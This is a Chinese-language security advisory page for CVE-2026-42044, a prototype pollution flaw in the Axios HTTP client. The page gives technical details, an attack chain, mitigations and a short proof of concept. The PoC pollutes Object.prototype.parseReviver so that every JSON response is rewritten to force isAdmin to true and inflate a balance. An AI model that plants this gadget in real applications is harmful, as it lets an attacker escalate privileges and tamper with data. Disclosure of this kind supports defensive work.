IPBUF安全漏洞报告
English
CVE-2026-42044 CVSS 6.5 中危

CVE-2026-42044 Axios原型污染漏洞导致API响应篡改

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42044
漏洞类型
原型污染
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

原型污染AxiosNode.jsRCESSRF

漏洞概述

Axios HTTP客户端库在1.0.0至1.15.2之前的版本中存在原型污染漏洞。攻击者可利用应用依赖树中的Object.prototype污染,通过默认的transformResponse函数触发parseReviver,从而隐蔽地篡改所有JSON API响应,可能导致权限提升、数据篡改或授权绕过。

技术细节

该漏洞位于Axios的默认transformResponse函数(lib/defaults/index.js:124),其调用JSON.parse(data, this.parseReviver)。由于parseReviver属性未在Axios默认配置中定义且未受断言验证,攻击者若能在Object.prototype上植入parseReviver函数,该函数将在每次解析JSON响应键值对时被调用。这使得攻击者能精确修改响应数据(如用户角色、余额),而保持JSON结构完整,进而绕过后端验证。

攻击链分析

STEP 1
步骤1:原型污染注入
攻击者利用应用依赖中的其他漏洞,向Object.prototype注入恶意的parseReviver函数。
STEP 2
步骤2:触发API请求
应用程序使用受影响的Axios版本发起HTTP请求并接收JSON响应。
STEP 3
步骤3:执行污染Gadget
Axios在处理响应时调用默认transformResponse,进而调用JSON.parse(data, this.parseReviver)。
STEP 4
步骤4:篡改响应数据
被污染的parseReviver函数执行,修改JSON响应中的关键字段(如权限、余额)。
STEP 5
步骤5:达成攻击目的
应用程序基于被篡改的数据执行逻辑,导致权限提升或业务数据异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Assuming a prior prototype pollution vulnerability exists in the dependency tree // Attacker pollutes the prototype with a malicious reviver Object.prototype.parseReviver = function(key, value) { if (key === 'isAdmin') return true; if (key === 'balance') return 999999; return value; }; // Application code using vulnerable Axios (< 1.15.2) const axios = require('axios'); // Make a request to get user profile axios.get('https://api.example.com/user/me') .then(response => { // The response.data has been modified by the polluted reviver // 'isAdmin' might be forced to true even if server sent false console.log('User data:', response.data); if (response.data.isAdmin) { console.log('Access granted to admin panel'); } });

影响范围

Axios >= 1.0.0, < 1.15.2

防御指南

临时缓解措施
如果无法立即升级,建议在应用初始化阶段使用Object.freeze(Object.prototype)来锁定原型,防止其被修改。同时,可以自定义Axios的transformResponse配置,显式指定一个安全的JSON解析逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表